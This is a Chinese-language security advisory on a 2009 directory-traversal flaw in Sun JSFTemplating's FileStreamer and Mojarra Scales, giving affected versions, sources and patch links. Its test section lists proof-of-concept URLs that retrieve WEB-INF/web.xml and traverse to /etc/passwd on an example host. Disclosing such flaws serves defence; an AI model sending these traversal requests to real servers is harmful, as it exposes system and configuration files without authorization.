安全研究

安全漏洞
JSFTemplating FileStreamer实现信息泄露漏洞

发布日期:2009-09-01
更新日期:2009-09-02

受影响系统:
Sun Glassfish Enterprise Server v3 Preview
Sun JSFTemplating < v1.2.11
Sun Mojarra Scales < v1.3.2
不受影响系统:
Sun JSFTemplating v1.2.11
Sun Mojarra Scales v1.3.2
描述:
BUGTRAQ  ID: 36204

JSFTemplating(Templating for JavaServer Faces Technology)是用于简化创建页面和组件工作的模板。

JSFTemplating在实现FileStreamer功能时没有正确地限制对文件的访问,远程攻击者可以通过目录遍历攻击检索服务器上的任意文件或目录。

<*来源:Johannes Greil (j.greil@sec-consult.com
  
  链接:http://secunia.com/advisories/36542/
        http://secunia.com/advisories/36546/
        http://marc.info/?l=bugtraq&m=125181749616428&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www,example.com/jsft_resource.jsf?contentSourceId=resourceCS&amp;filename=WEB-INF/web.xml
http://www.example.com/jsft_resource.jsf?contentSourceId=resourceCS&amp;filename=index.jsp
http://www.example.com/jsft_resource.jsf?contentSourceId=resourceCS&amp;filename=at/mycompany/
http://www.example.com/jsft_resource.jsf?contentSourceId=resourceCS&amp;filename=at/mycompany/some.class
http://www.example.com/scales_static_resource.jsf?file=
http://www.example.com/scales_static_resource.jsf?file=../../../../../../etc/
http://www.example.com/scales_static_resource.jsf?file=../../../../../../etc/passwd

建议:
厂商补丁:

Sun
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://download.java.net/maven/1/com.sun.jsftemplating/jars/
https://jsftemplating.dev.java.net/servlets/BrowseList?listName=cvs&by=date&from=2009-08-01&to=2009-08-31&first=1&count=16
http://kenai.com/projects/scales/downloads/directory/Mojarra%20Scales%201.3.2/

浏览次数:2198
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障